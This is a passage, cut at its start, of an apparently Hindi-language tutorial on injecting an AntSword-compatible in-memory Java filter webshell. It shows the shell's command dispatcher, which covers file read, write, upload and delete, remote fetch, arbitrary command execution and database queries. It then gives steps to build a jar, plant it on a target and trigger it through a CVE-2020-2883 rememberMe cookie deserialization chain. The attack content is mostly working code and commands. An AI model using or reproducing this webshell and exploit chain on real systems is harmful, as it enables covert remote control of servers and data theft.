if (funccode.equals("B")) {
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) {
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("D")) {
sb.append(WriteFileCode(pars[1], pars[2]));
} else if (funccode.equals("E")) {
sb.append(DeleteFileOrDirCode(pars[1]));
} else if (funccode.equals("F")) {
DownloadFileCode(pars[1], response);
} else if (funccode.equals("U")) {
sb.append(UploadFileCode(pars[1], pars[2]));
} else if (funccode.equals("H")) {
sb.append(CopyFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("I")) {
sb.append(RenameFileOrDirCode(pars[1], pars[2]));
} else if (funccode.equals("J")) {
sb.append(CreateDirCode(pars[1]));
} else if (funccode.equals("K")) {
sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]));
} else if (funccode.equals("L")) {
sb.append(WgetCode(pars[1], pars[2]));
} else if (funccode.equals("M")) {
sb.append(ExecuteCommandCode(pars[1], pars[2]));
} else if (funccode.equals("N")) {
sb.append(showDatabases(pars[0], pars[1]));
} else if (funccode.equals("O")) {
sb.append(showTables(pars[0], pars[1], pars[2]));
} else if (funccode.equals("P")) {
sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]));
} else if (funccode.equals("Q")) {
sb.append(query(pars[0], pars[1], pars[2]));
} else if (funccode.equals("A")) {
sb.append(SysInfoCode(request));
}
} catch (Exception e) {
sb.append("ERROR" + "://" + e.toString());
e.printStackTrace();
}
sb.append("|<-");
response.getWriter().print(sb.toString());
} else {
chain.doFilter(request, response);
}
}
public void destroy() {
}
}
अब सीधे मारा जा सकता है। पहले org.chabug.memshell.InjectFilterShell को jar पैकेज करें```bash
jar cvf tttt.jar org\chabug\memshell\InjectFilterShell.class

फिर tttt.jar और AntSwordFilterShell.class को लक्ष्य में लिखें। अंत में, CVE_2020_2883_URLClassLoader का उपयोग करके rememberMe Cookie उत्पन्न करें और लक्ष्य पर हमला करें।
URLClassLoader -> tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell
प्रदर्शन चित्र:
